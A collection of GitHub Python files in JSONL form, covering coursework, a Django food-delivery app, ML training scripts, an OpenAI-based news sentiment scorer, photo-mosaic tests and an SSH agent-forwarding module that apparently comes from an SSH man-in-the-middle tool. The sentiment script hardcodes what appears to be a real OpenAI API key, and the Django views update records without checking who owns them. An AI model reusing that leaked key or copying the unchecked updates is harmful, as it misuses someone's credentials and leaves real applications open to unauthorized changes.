{"seq_id":"5924827900","text":"FileName = input(\"Please enter the ciphertext file name: \")\n\nUserFile = open(FileName, \"r\")\n\nCharCount = dict()\n\ncount = 0\n\ncountme = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n\nfor line in UserFile:\n    line = line.upper()\n    for char in line:\n        if char in countme:\n            if char in CharCount:\n                CharCount[char] = CharCount[char] + 1\n                count = count + 1\n            else:\n                CharCount[char] = 1\n                count = count + 1\n\nprint(\"The character frequency findings are: \")\nfor C in CharCount:\n    freq = CharCount[C] / count\n    print(C + \": \" + str(freq))\n\n\nUserFile.close()\n","repo_name":"pattrob/CPSC110","sub_path":"lab8.py","file_name":"lab8.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74157402341","text":"from django.shortcuts import render,redirect\nfrom django.contrib.auth import authenticate, login, logout\nfrom checkout.models import *\nfrom checkout.forms  import *\nfrom django.db.models import F\nfrom restaurant.models import fooditemdata\nfrom .forms import *\nfrom .models import Deliveryboydata\nfrom deliveryboy.models import Deliveryboydata\n\n# Create your views here.\n\ndef updatedelprofile(request,id):\n    deldata1 = Deliveryboydata.objects.get(id=id)\n    deldata = Deldataform(request.POST or None,request.FILES or None,instance =  deldata1)\n    if request.method == \"POST\":\n        if deldata.is_valid():\n            deldata.save()\n            return redirect(\"showdelprofile\")\n        else:\n            print(\"error\")\n    context = {\n        'deldata1': deldata1,\n        'deldata': deldata,\n    }\n    return render(request, \"deliveryboy/updatedelprofile.html\", context)\n    \n    \n\ndef delsidebar(request):\n    return render(request,\"deliveryboy/delsidebar.html\",)\n    \n\ndef delhomepage(request):\n    return render(request,\"deliveryboy/delhomepage.html\",)\n    \n    \ndef delreg(request):\n    if request.method == 'POST':\n        form = DelRegForm(request.POST)\n        if form.is_valid():\n            user = form.save()\n            raw_password = form.cleaned_data.get('password1')\n            user = authenticate(request, email=user.email, password=raw_password)\n            if user is not None:\n                login(request, user)\n            else:\n                print(\"user is not authenticated\")\n            return redirect('dellogin')\n    else:\n        form = DelRegForm()\n    return render(request,\"deliveryboy/delreg.html\",{\"form\":form})\n\n\ndef dellogin(request):\n    if request.method == \"POST\":\n        email = request.POST['email']\n        password = request.POST['password']\n        user = authenticate(request,email=email, password=password)\n        if user is not None:\n            login(request, user)\n            return redirect('deldashboard')\n        else:\n            return render(request, 'deliveryboy/dellogin.html', {'error': \"! Invalid Password Or Email\"})\n    return render(request,\"deliveryboy/dellogin.html\",)\n\n\ndef dellogout(request):\n    logout(request)\n    return redirect('delhomepage')\n\n\n\nfrom django.db.models import Q, F\n\ndef delorders(request):\n    orders = Order.objects.filter(Q(delivery_order_choice='Select')).order_by(F('time').desc())\n    rejected_orders = Order.objects.filter(delivery_order_choice='Reject').order_by('-time')\n    accepted_orders = Order.objects.filter(delivery_order_choice='Accept').order_by('-time')\n    context = {\n        'orders':orders,\n        'rejected_orders':rejected_orders,\n        'accepted_orders':accepted_orders,\n    }\n    return render(request,\"deliveryboy/orders.html\",context)\n\n\ndef moreorderdetail(request,id):\n    ordersdata = Order.objects.filter(id=id)\n    restaurant = Restaurant_data.objects.all()\n    context = {\n        'ordersdata': ordersdata,\n        # 'restdata': restdata,\n        'restaurant': restaurant,\n    }\n    return render(request,\"deliveryboy/moreorderdetails.html\",context)\n\ndef deldashboard(request):\n    current_user = request.user.id\n    # orders = Order.objects.filter(restaurant_id=current_user).order_by(F('time').desc())\n    orders = Order.objects.all()\n    accepted_orders = Order.objects.filter(delivery_order_choice='Accept').order_by('-time')\n    rejected_orders = Order.objects.filter(delivery_order_choice='Reject').order_by('-time')\n    delivery_status = Order.objects.filter(delivery_status='Going To Restaurant').order_by('-time')\n    delivery_status2 = Order.objects.filter(delivery_status='Picked Up').order_by('-time')\n    delivery_status3 = Order.objects.filter(delivery_status='Delivered').order_by('-time')\n    context = {\n        'orders': orders,\n        # 'fooddata': fooddata,\n        # 'pending_orders':pending_orders,\n        'accepted_orders':accepted_orders,\n        'rejected_orders':rejected_orders,\n        'delivery_status':delivery_status,\n        'delivery_status2':delivery_status2,\n        'delivery_status3':delivery_status3,\n        \n        # 'preparing_orders':preparing_orders,\n        # 'ready_orders':ready_orders,\n    }\n    return render(request,\"deliveryboy/deldashbord.html\",context)\n\n\ndef showdelprofile(request):\n    current_user = request.user\n    showdata = Deliveryboydata.objects.filter(user__id=request.user.id)\n    return render(request,\"deliveryboy/showdelprofile.html\",{'deldata1': showdata})\n\ndef updateorders(request, id):\n    data1 = Order.objects.get(id=id)\n    data = DelOrderChoice(request.POST or None, request.FILES or None, instance=data1)\n    if request.method == \"POST\":\n        if data.is_valid():\n            data.save()\n            return redirect(\"delorders\")\n        else:\n            print(\"errors\")\n            print(data.errors)\n    return render(request, \"deliveryboy/updateorders.html\", {'data': data})\n\ndef updatedelstatus(request, id):\n    data1 = Order.objects.get(id=id)\n    data = DeliveryStatusForm(request.POST or None, request.FILES or None, instance=data1)\n    if request.method == \"POST\":\n        if data.is_valid():\n            data.save()\n            return redirect(\"acceptedorder\")\n        else:\n            print(\"errors\")\n            print(data.errors)\n    return render(request, \"deliveryboy/updatedelstatus.html\", {'data': data})\n\ndef acceptedorder(request):\n    ordersdata = Order.objects.filter(delivery_order_choice=\"Accept\")\n    return render(request,\"deliveryboy/acceptedorder.html\",{\"ordersdata\":ordersdata})\n    \ndef rejectedorder(request):\n    ordersdata = Order.objects.filter(delivery_order_choice=\"Reject\")\n    return render(request,\"deliveryboy/rejectedorder.html\",{\"ordersdata\":ordersdata})\n    \n\n\n    ","repo_name":"jateenpanchal/mealbasket","sub_path":"applications/deliveryboy/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5720,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"26812231450","text":"# -*- coding: utf-8 -*-\nimport os\nimport peewee as pw\n\nif not os.path.exists(\"database_metcast\"):\n    os.mkdir(\"database_metcast\")\npath_db = os.path.join(\"database_metcast\", \"metcast.db\")\n\nurl_bd = f\"sqlite:///{path_db}\"\ndatabase_proxy = pw.DatabaseProxy()\n\n\nclass BaseTeble(pw.Model):\n    class Meta:\n        database = database_proxy\n\n\nclass Location(BaseTeble):\n    name_location = pw.CharField()\n    latitude = pw.FloatField()\n    longitude = pw.FloatField()\n\n\nclass Metcast(BaseTeble):\n    location = pw.ForeignKeyField(Location)\n    date = pw.DateField()\n    condition = pw.CharField()\n    temp = pw.IntegerField()\n    humidity = pw.IntegerField()\n    pressure_mm = pw.IntegerField()\n","repo_name":"KimYura1995/weather_forecast","sub_path":"database_init_metcast.py","file_name":"database_init_metcast.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34624190541","text":"#!__ENV__ __PYTHON__\n\nimport sys\nimport argparse\n\noparser = argparse.ArgumentParser(description=\"Script that reads takes a list of aligned segments, such as that produced by bitextor-alignsegments script, and computes the basic ELRC quality metrics: number of tokens in lang1/lang2 and length ratio.\")\noparser.add_argument('aligned_seg', metavar='FILE', nargs='?', help='File containing the set of aliged segments (if undefined, the script reads from the standard input)', default=None)\noparser.add_argument(\"-s\", \"--stats\", help=\"Print stats or just output the input\", action=\"store_true\", dest=\"isPrintingStats\", default=False)\noparser.add_argument(\"-f\", \"--filtering\", help=\"Filter lines according to ELRC rules (printing stats required)\", action=\"store_true\", dest=\"isFiltering\", default=False)\noparser.add_argument(\"-c\", \"--columns\", help=\"Name of columns of the input tab separated file split by comma. Default: url1,url2,seg1,seg2,hunalign,zipporah,bicleaner\", default=\"url1,url2,seg1,seg2,hunalign,zipporah,bicleaner\")\n\noptions = oparser.parse_args()\n\nif options.aligned_seg != None:\n  reader = open(options.aligned_seg,\"r\")\nelse:\n  reader = sys.stdin\n\nidcounter=0\ncolumns = options.columns.split(',')\n\nfor i in reader:\n  idcounter = idcounter+1\n  fields = i.split(\"\\t\")\n  fields[-1]=fields[-1].strip()\n  fieldsdict = dict()\n  extracolumns=[\"idnumber\"]\n\n  for field,column in zip(fields,columns):\n    fieldsdict[column]=field\n  if options.isPrintingStats:\n    extracolumns=[\"lengthratio\",\"numTokensSL\",\"numTokensTL\",\"idnumber\"]\n    if len(fieldsdict[\"seg2\"].decode('utf8')) == 0:\n      lengthRatio=0\n    else:\n      lengthRatio=len(fieldsdict[\"seg1\"].decode('utf8'))*1.0/len(fieldsdict[\"seg2\"].decode('utf8'))\n    numTokensSL=len(fieldsdict[\"seg1\"].split(' ')) #This is not the way this should be counted, we need to tokenize better first\n    numTokensTL=len(fieldsdict[\"seg2\"].split(' ')) #This is not the way this should be counted, we need to tokenize better first\n    fieldsdict[\"lengthratio\"]=str(lengthRatio)\n    fieldsdict[\"numTokensSL\"]=str(numTokensSL)\n    fieldsdict[\"numTokensTL\"]=str(numTokensTL)\n    if options.isFiltering:\n      if \"zipporah\" in fieldsdict:\n        fieldsdict[\"zipporah\"]=str(round(float(fieldsdict[\"zipporah\"]),4))\n      if \"bicleaner\" in fieldsdict and fieldsdict[\"bicleaner\"].strip() != '':\n        fieldsdict[\"bicleaner\"]=str(round(float(fieldsdict[\"bicleaner\"]),4))\n      if int(fieldsdict[\"numTokensSL\"]) >= 200 or int(fieldsdict[\"numTokensTL\"]) >= 200 or fieldsdict[\"seg1\"].strip() == '' or fieldsdict[\"seg2\"].strip() == '' or float(fieldsdict[\"lengthratio\"]) >= 6 or float(fieldsdict[\"lengthratio\"]) <= 0.1666: \n        continue\n  fieldsdict[\"idnumber\"]=str(idcounter)\n  fieldstoprint=[]\n  for column in columns+extracolumns:\n    fieldstoprint.append(fieldsdict[column])\n  print(\"\\t\".join(fieldstoprint))\n\n\n","repo_name":"aissammouche/bitextor","sub_path":"bitextor-elrc-filtering.py","file_name":"bitextor-elrc-filtering.py","file_ext":"py","file_size_in_byte":2854,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"34192469713","text":"import torch\nimport os\nimport numpy as np\nimport argparse\nfrom PIL import Image\nimport torchvision.transforms as transforms\nfrom torch.autograd import Variable\nimport torchvision.utils as vutils\nfrom network.Transformer import Transformer\nimport matplotlib.pyplot as plt\n\n# opt = parser.parse_args()\n\nvalid_ext = ['.jpg', '.png']\n\n# if not os.path.exists(opt.output_dir): os.mkdir(opt.output_dir)\nGPU = False\nif torch.cuda.is_available():\n\tGPU = True\n\npret = \"./pretrained_model\"\n\nout_dir = \"test_output\"\n\nstyle = \"Hayao\"\n\nload_size = 450\n\n# load pretrained model\nmodel = Transformer()\nmodel.load_state_dict(torch.load(os.path.join(pret, style + '_net_G_float.pth')))\nmodel.eval()\n\nopen_dir = \"test_img\"\n\nif GPU:\n\tprint('GPU mode')\n\tmodel.cuda()\nelse:\n\tprint('CPU mode')\n\tmodel.float()\n\nfor files in os.listdir(open_dir):\n\text = os.path.splitext(files)[1]\n\tif ext not in valid_ext:\n\t\tcontinue\n\t# load image\n\tinput_image = Image.open(os.path.join(open_dir, files)).convert(\"RGB\")\n\t# resize image, keep aspect ratio\n\th = input_image.size[0]\n\tw = input_image.size[1]\n\tratio = h *1.0 / w\n\tif ratio > 1:\n\t\th = load_size\n\t\tw = int(h*1.0/ratio)\n\telse:\n\t\tw = load_size\n\t\th = int(w * ratio)\n\tinput_image = input_image.resize((h, w), Image.BICUBIC)\n\tinput_image = np.asarray(input_image)\n\t# RGB -> BGR\n\tinput_image = input_image[:, :, [2, 1, 0]]\n\tinput_image = transforms.ToTensor()(input_image).unsqueeze(0)\n\t# preprocess, (-1, 1)\n\tinput_image = -1 + 2 * input_image \n\tif GPU:\n\t\tinput_image = Variable(input_image, volatile=True).cuda()\n\telse:\n\t\tinput_image = Variable(input_image, volatile=True).float()\n\t# forward\n\toutput_image = model(input_image)\n\toutput_image = output_image[0]\n\t# BGR -> RGB\n\toutput_image = output_image[[2, 1, 0], :, :]\n\t# deprocess, (0, 1)\n\toutput_image = output_image.data.cpu().float() * 0.5 + 0.5\n\t# save\n\tvutils.save_image(output_image, os.path.join(out_dir, files[:-4] + '_' + style + '.jpg'))\n\tplt.imshow()\nprint('Done!')\n","repo_name":"kunalupadya/AnimeStyleTransfer","sub_path":"model_loader.py","file_name":"model_loader.py","file_ext":"py","file_size_in_byte":1943,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"33241662346","text":"import openai\nimport pandas as pd\nimport time\n\n# Load data\nnews_data = pd.read_csv('News_Data_Final.csv')\n\nopenai.api_key = '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'\n\ndef send_message(message):\n    response = openai.ChatCompletion.create(\n        model='gpt-3.5-turbo',\n        messages=[\n            {\n                \"role\": \"system\",\n                \"content\": \"You are a pre-trained sentiment analysis model.\"\n            },\n            {\n                \"role\": \"user\",\n                \"content\": message\n            }\n        ],\n        max_tokens=5\n    )\n    return response['choices'][0]['message']['content']\n\ncounter = 0\n\n# Loop through DataFrame\nfor index, row in news_data.iterrows():\n    # prompt creation\n    \n    prompt = (f\"Pretend that you are a pre-trained sentiment analysis model that reads and evaluates news articles. You can only output numbers in the range from -1 (meaning negative impact on the stock) up to 1 (meaning positive impact on the stock) for following news article: \"\n               f\"related ticker symbol: {row['ticker']}, title: {row['title']}, summary: {row['summary']}. Please only output the sentiment score number\")\n    \n    # Initialize a flag for retrying\n    inference_not_done = True\n    \n    while inference_not_done:\n        try:\n            # Get sentiment score\n            sentiment_score = send_message(prompt)\n            \n            # Update sentiment column\n            news_data.at[index, 'sentiment score'] = sentiment_score\n            \n            counter += 1\n            \n            # Print stock and date  \n            print(f\"Processed row {counter}\")\n            \n            # Mark inference as done\n            inference_not_done = False\n        except Exception as e:\n            print(f\"Wait 3 seconds\")\n            print(f\"Error was: {e}\")\n            time.sleep(3)\n\n# Save to CSV\nnews_data.to_csv('NEW_SENTIMENTS.csv', index=False)\n","repo_name":"Emino21/GPT-Sentiment-Trading-Bot","sub_path":"news_interpreter.py","file_name":"news_interpreter.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71510253220","text":"import time\nimport os\nfrom typing import Tuple, List, Union\n\nfrom paramiko.agent import Agent, AgentKey, AgentServerProxy, AgentClientProxy\nfrom paramiko.transport import Transport\nfrom paramiko.channel import Channel\n\n\nclass AgentProxy:\n\n    def __init__(self, transport: Transport) -> None:\n        self.agents: List[Union[Agent, AgentClientProxy]] = []\n        self.transport = transport\n        agent_proxy = AgentServerProxy(self.transport)\n        os.environ.update(agent_proxy.get_env())\n        agent_proxy.connect()\n        self.agent = Agent()\n        self.keys = self.agent.get_keys()[:]\n        self.agents.append(self.agent)\n        # should be able to be closed now, but for some reason there is a race\n        # agent is still sending over the channel\n        # agent.close()\n\n    def get_keys(self) -> Tuple[AgentKey, ...]:\n        return self.keys\n\n    def forward_agent(self, client_channel: Channel) -> bool:\n        return client_channel.request_forward_agent(self._forward_agent_handler)\n\n    def _forward_agent_handler(self, remote_channel: Channel) -> None:\n        agent = AgentServerProxy(self.transport)\n        os.environ.update(agent.get_env())\n        time.sleep(0.1)\n        self.agents.append(AgentClientProxy(remote_channel))\n\n    def close(self) -> None:\n        for agent_proxy in self.agents:\n            agent_proxy.close()\n","repo_name":"MrE-Fog/ssh-mitm-2","sub_path":"sshmitm/forwarders/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":1360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35565970180","text":"import tensorflow as tf\ntf.compat.v1.disable_eager_execution()\n#physical_devices =tf.config.experimental.list_physical_devices('GPU')\n#try:\n#  tf.config.experimental.set_memory_growth(physical_devices[0], True)\n#except:\n#   Invalid device or cannot modify virtual devices once initialized.\n#  pass\n\nfrom Model.models import *\nfrom Utils.data_generator import *\nimport tensorflow as tf\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.optimizers import *\nimport os\n\nos.environ[\"SM_FRAMEWORK\"] = \"tf.keras\"\nimport segmentation_models as sm\n\nimport tensorflow.keras.backend as K\nfrom tensorflow.keras.callbacks import ModelCheckpoint, LearningRateScheduler, TensorBoard\nfrom tensorflow.keras.utils import plot_model\nimport matplotlib.pyplot as plt\nimport os\nimport numpy as np\nfrom tqdm import tqdm\nfrom Utils.utils import *\nfrom Utils.metrics import *\n\ndef lr_poly(base_lr, iter, max_iter, power):\n    return base_lr * ((1 - float(iter) / max_iter) ** (power))\n\n\ndef change_learning_rate(model, base_lr, iter, max_iter, power):\n    new_lr = lr_poly(base_lr, iter, max_iter, power)\n    K.set_value(model.optimizer.lr, new_lr)\n    return K.get_value(model.optimizer.lr)\n\n\ndef change_learning_rate_D(model, base_lr, iter, max_iter, power):\n    new_lr = lr_poly(base_lr, iter, max_iter, power)\n    K.set_value(model.optimizer.lr, new_lr)\n    return K.get_value(model.optimizer.lr)\n\n\nif __name__ == '__main__':\n\n    ''' parameter setting '''\n    os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\n\n#    config = tf.ConfigProto()\n#    config.gpu_options.allow_growth = True\n#    session = tf.Session(config=config)\n\n    DiscROI_size = 512\n    CDRSeg_size = 512\n    lr = 2.5e-5\n    LEARNING_RATE_D = 1e-5\n    batch_size = 4\n    dataset_t = \"skin/\"\n\n    dataset = \"skin/\"\n    total_num = 2494\n    total_epoch = 100\n    total_epoch_stop = total_epoch / 2\n    power = 0.9\n\n    weights_path = \"weights/\" + dataset_t + \"/DA_patch_fpn/_{epoch:04d}.hdf5\"\n    load_from = \"./weights/fpn_eff4_2.h5\"\n\n    weights_root = os.path.dirname(weights_path)\n    G_weights_root = os.path.join(weights_root, 'Generator')\n    D_weights_root = os.path.join(weights_root, 'Discriminator')\n\n    if not os.path.exists(G_weights_root):\n        print(\"Create save weights folder on %s\\n\\n\" % weights_root)\n        os.makedirs(G_weights_root)\n        os.makedirs(D_weights_root)\n#    _MODEL = os.path.basename(__file__).split('.')[0]\n\n    logs_path = \"./log_tf/\" + dataset_t + \"/DA_patch_eff/\"\n    logswriter = tf.summary.create_file_writer\n    print(\"logtf path: %s \\n\\n\" % logs_path)\n    if not os.path.exists(logs_path):\n        os.makedirs(logs_path)\n    summary_writer = logswriter(logs_path)\n\n    ''' define model '''\n    strategy = tf.distribute.MirroredStrategy()\n    with strategy.scope():\n    #model_Generator = Model_CupSeg(input_shape = (CDRSeg_size, CDRSeg_size, 3), classes=2, backbone='mobilenetv2', lr=lr)\n        model_Generator = sm.FPN('efficientnetb4', input_shape=(512,512,3), classes=2, activation='sigmoid')\n        model_Generator.load_weights(load_from)\n        model_Generator.compile(optimizer=Adam(lr=lr), loss=Dice_Smooth_loss,metrics=[dice_coef_disc, dice_coef_cup, smooth_loss, dice_loss])\n        model_Discriminator = Discriminator(input_shape=(CDRSeg_size, CDRSeg_size, 2),\n                                                      learning_rate=LEARNING_RATE_D)\n        model_Discriminator.load_weights('./weights/skin_eff4_discr.h5')\n        model_Adversarial = Sequential()\n        model_Discriminator.trainable = False\n        model_Adversarial.add(model_Generator)\n        model_Adversarial.add(model_Discriminator)\n        model_Adversarial.compile(optimizer=SGD(lr=lr), loss='binary_crossentropy')\n\n    # model_Generator.summary()\n    # plot_model(model_Generator, to_file='deeplabv3.png')\n\n    if os.path.exists(load_from):\n        print('Loading weight for generator model from file {}\\n\\n'.format(load_from))\n        model_Generator.load_weights(load_from)\n    else:\n        print('[ERROR:] CANNOT find weight file {}\\n\\n'.format(load_from))\n\n    ''' define data generator '''\n    # train0 means 4/5 training data from REFUGE dataset\n    trainGenerator_Gene = Generator_Gene(batch_size, '/home/gpu3/shubham/skin/train', DiscROI_size,\n                                         CDRSeg_size = CDRSeg_size, pt=False, phase='train')\n    \n    valGenerator_Gene = Generator_Gene(batch_size, '/home/gpu3/shubham/skin/val', DiscROI_size,\n                                           CDRSeg_size=CDRSeg_size, pt=False, phase='val')\n    \n    # using val data to train without ground truth\n    trainAdversarial_Gene = Adversarial_Gene(batch_size, '/home/gpu3/shubham/skin/val', DiscROI_size,\n                                                 CDRSeg_size=CDRSeg_size, phase='train', noise_label=False)\n   \n    trainDS_Gene = GD_Gene(batch_size, '/home/gpu3/shubham/skin/train', True,\n                           CDRSeg_size=CDRSeg_size, phase='train', noise_label=False)\n    \n    trainDT_Gene = GD_Gene(batch_size,\n                               '/home/gpu3/shubham/skin/val', False,\n                               CDRSeg_size=CDRSeg_size, phase='train', noise_label=False)\n#    \n#    ''' define data generator '''\n#    # train0 means 4/5 training data from REFUGE dataset\n#    trainGenerator_Gene = Generator_Gene(batch_size, '/mnt/komal/bhakti/SkindataCVPR2020/skin_data/train', DiscROI_size,\n#                                         CDRSeg_size = CDRSeg_size, pt=False, phase='train')\n#    \n#    valGenerator_Gene = Generator_Gene(batch_size, '/mnt/komal/bhakti/SkindataCVPR2020/skin_data/val', DiscROI_size,\n#                                           CDRSeg_size=CDRSeg_size, pt=False, phase='val')\n#    \n#    # using val data to train without ground truth\n#    trainAdversarial_Gene = Adversarial_Gene(batch_size, '/mnt/komal/bhakti/SkindataCVPR2020/skin_data/val', DiscROI_size,\n#                                                 CDRSeg_size=CDRSeg_size, phase='train', noise_label=False)\n#   \n#    trainDS_Gene = GD_Gene(batch_size, '/mnt/komal/bhakti/SkindataCVPR2020/skin_data/train', True,\n#                           CDRSeg_size=CDRSeg_size, phase='train', noise_label=False)\n#    \n#    trainDT_Gene = GD_Gene(batch_size,\n#                               '/mnt/komal/bhakti/SkindataCVPR2020/skin_data/val', False,\n#                               CDRSeg_size=CDRSeg_size, phase='train', noise_label=False)\n    \n\n    ''' train for epoch and iter one by one '''\n    epoch = 0\n    dice_loss_val = 0\n    disc_coef_val = 0\n    cup_coef_val = 0\n    results_eva = [0, 0, 0]\n    results_DS = 0\n    results_DT = 0\n#    epoch =0\n    for epoch in range(total_epoch):\n        loss = 0\n        smooth_loss = 0\n        dice_loss = 0\n        disc_coef = 0\n        cup_coef = 0\n\n        loss_A = 0\n        loss_GD = 0\n        loss_DS = 0\n        loss_DT = 0\n        loss_A_map = 0\n        loss_A_scale = 0\n        loss_DS_map = 0\n        loss_DS_scale = 0\n        loss_DT_map = 0\n        loss_DT_scale = 0\n        results_A = 0\n#        iter=0\n        iters_total = int(total_num/batch_size + 1)\n        for iter in tqdm(range(iters_total)):\n\n            ''' train Generator '''\n            # source domain\n            img_S, mask_S = next(trainGenerator_Gene)\n            results_G = model_Generator.train_on_batch(img_S, mask_S)\n\n            loss += results_G[0]/iters_total\n            disc_coef += results_G[1]/iters_total\n            cup_coef += results_G[2]/iters_total\n            smooth_loss += results_G[3]/iters_total\n            dice_loss += results_G[4]/iters_total\n\n            # target domain\n            img_T, output_T = next(trainAdversarial_Gene)\n            results_A = model_Adversarial.train_on_batch(img_T, output_T)\n\n            loss_A += np.array(results_A) / iters_total\n\n            # print log information every 10 iterations\n            if (iter + 1) % 10 == 0:\n                img, mask = next(valGenerator_Gene)\n                results_eva = model_Generator.evaluate(img, mask)\n                dice_loss_val += results_eva[0] / (iters_total/20)\n                disc_coef_val += results_eva[1] / (iters_total/20)\n                cup_coef_val += results_eva[2] / (iters_total/20)\n                print('[EVALUATION: (iter: {})]\\n{}:{},{}:{},{}:{}' \\\n                      .format(iter+1, model_Generator.metrics_names[0],results_eva[0],\n                                                 model_Generator.metrics_names[1],results_eva[1],\n                                                 model_Generator.metrics_names[2], results_eva[2]))\n\n            ''' train Discriminator '''\n            img, label = next(trainDS_Gene)\n            prediction = model_Generator.predict(img)\n            results_DS = model_Discriminator.train_on_batch(prediction, label)\n            loss_DS += results_DS / iters_total\n\n            img, label = next(trainDT_Gene)\n            prediction = model_Generator.predict(img)\n            results_DT = model_Discriminator.train_on_batch(prediction, label)\n            loss_DT += results_DT / iters_total\n\n            ''' visulization through tensorboard '''\n            with summary_writer.as_default():\n                tf.summary.scalar('loss', results_G[0],step=iter)\n                tf.summary.scalar('disc_coef',results_G[1],step=iter)\n                tf.summary.scalar('cup_coef', results_G[2],step=iter)\n                tf.summary.scalar( 'smooth_loss',results_G[3],step=iter)\n                tf.summary.scalar( 'dice_loss', results_G[4],step=iter)\n                tf.summary.scalar('loss_A', results_A,step=iter)\n                tf.summary.scalar('loss_DS', results_DS,step=iter)\n                tf.summary.scalar( 'loss_DT', results_DT,step=iter)\n                tf.summary.scalar('loss_val', results_eva[0],step=iter)\n                tf.summary.scalar('disc_coef_val', results_eva[1],step=iter)\n                tf.summary.scalar('cup_coef_val', results_eva[2],step=iter)\n             \n            \n            ''' visulization through tensorboard '''\n#            summary = tf.compat.v1.Summary(value=[\n#                tf.compat.v1.Summary.Value(\n#                    tag='loss', simple_value=float(results_G[0])),\n#                tf.compat.v1.Summary.Value(\n#                    tag='disc_coef', simple_value=float(results_G[1])),\n#                tf.compat.v1.Summary.Value(\n#                    tag='cup_coef', simple_value=float(results_G[2])),\n#                tf.compat.v1.Summary.Value(\n#                    tag='smooth_loss', simple_value=float(results_G[3])),\n#                tf.compat.v1.Summary.Value(\n#                    tag='dice_loss', simple_value=float(results_G[4])),\n#                tf.compat.v1.Summary.Value(\n#                    tag='loss_A', simple_value=float(results_A)),\n#                tf.compat.v1.Summary.Value(\n#                    tag='loss_DS', simple_value=float(results_DS)),\n#                tf.compat.v1.Summary.Value(\n#                    tag='loss_DT', simple_value=float(results_DT)),\n#                tf.compat.v1.Summary.Value(\n#                    tag='loss_val', simple_value=float(results_eva[0])),\n#                tf.compat.v1.Summary.Value(\n#                    tag='disc_coef_val', simple_value=float(results_eva[1])),\n#                tf.compat.v1.Summary.Value(\n#                    tag='cup_coef_val', simple_value=float(results_eva[2])),\n#            ])\n#            summary_writer.add_summary(summary, epoch*iters_total + iter)\n\n        ''' show logs every epoch'''\n        print('\\n\\nepoch = {0:8d}, dice_loss = {1:.3f}, disc_coef = {2:.4f}, cup_coef = {3:.4f}, learning_rate={4}'.format(\n            epoch, dice_loss, disc_coef, cup_coef, K.get_value(model_Generator.optimizer.lr)))\n\n        ''' save model weight every 10 epochs'''\n        if (epoch+1) % 10 == 0:\n            G_weights_path = os.path.join(G_weights_root, 'generator_%s.h5' % ( epoch + 1 ))\n            D_weights_path = os.path.join(D_weights_root, 'discriminator_%s.h5' % ( epoch + 1 ))\n            print(\"Save model to %s\" % G_weights_path)\n            model_Generator.save_weights(G_weights_path, overwrite=True)\n            print(\"Save model to %s\" % D_weights_path)\n            model_Discriminator.save_weights(D_weights_path, overwrite=True)\n\n        # update learning rate\n        change_learning_rate(model_Generator, lr, epoch, total_epoch, power)\n        change_learning_rate(model_Adversarial, lr, epoch, total_epoch, power)\n        change_learning_rate_D(model_Discriminator, LEARNING_RATE_D, epoch, total_epoch, power)\n","repo_name":"shubhaminnani/EGAN","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":12508,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"25462445967","text":"import config\nfrom langchain.vectorstores.pgvector import PGVector\n\nfrom langchain.vectorstores.pgvector import DistanceStrategy\n\n\ndef create_database(database_name=\"postgres\", collection_name=\"\", connection_string=\"\", embeddings=\"\", **kwargs):\n\n    if 'openai_api_key' not in kwargs:\n        kwargs['openai_api_key'] = config.OPENAI_API_KEY\n\n    if database_name == \"postgres\":\n        return PGVector.from_existing_index(\n            collection_name=collection_name,\n            connection_string=connection_string,\n            distance_strategy=DistanceStrategy.COSINE,\n            openai_api_key=config.OPENAI_API_KEY,\n            embedding=embeddings\n        )\n    else:\n        raise ValueError(\"Database does not exist!\")\n","repo_name":"TJor-L/MyGPT","sub_path":"app/factories/database_factory.py","file_name":"database_factory.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39108065462","text":"import os.path\nfrom unittest import TestCase\n\nfrom photo import Photo\nfrom photo_analyzer import PhotoAnalyzer\nfrom utils.path import Path\n\n\nclass PhotoAnalyzerTestCase(TestCase):\n    def test_that_photos_are_properly_initialized(self):\n        cats = os.path.join(Path.testdata, 'original_input_photos')\n        analyzer = PhotoAnalyzer(src_dir=cats, nr_photo_pixels=10)\n        photos = analyzer.photos\n        self.assertListEqual(list(photos.keys()), [f'cat00{index}.jpg' for index in (1, 2, 3, 4, 5)])\n        self.assertTrue(all(isinstance(value, Photo) for value in photos.values()))\n\n    def test_that_photos_to_choose_from_are_properly_initialized(self):\n        cats = os.path.join(Path.testdata, 'original_input_photos')\n        analyzer = PhotoAnalyzer(src_dir=cats, nr_photo_pixels=9)\n        photos = analyzer.photos_to_choose_from\n        self.assertListEqual(photos, [f'cat00{index}.jpg' for index in (1, 2, 3, 4, 5, 1, 2, 3, 4, 5)])\n\n    def test_that_distance_is_calculated_properly(self):\n        color_1 = (127, 127, 127)\n        color_2 = (130, 127, 127)\n        color_3 = (128, 128, 128)\n\n        self.assertAlmostEqual(0, PhotoAnalyzer._distance(color_1, color_1))\n        self.assertAlmostEqual(3, PhotoAnalyzer._distance(color_1, color_2))\n        self.assertAlmostEqual(1.7320508075688772, PhotoAnalyzer._distance(color_1, color_3))\n        self.assertAlmostEqual(2.449489742783178, PhotoAnalyzer._distance(color_2, color_3))\n","repo_name":"physicalattraction/photo-mosaic","sub_path":"src/tests_photo_analyzer.py","file_name":"tests_photo_analyzer.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
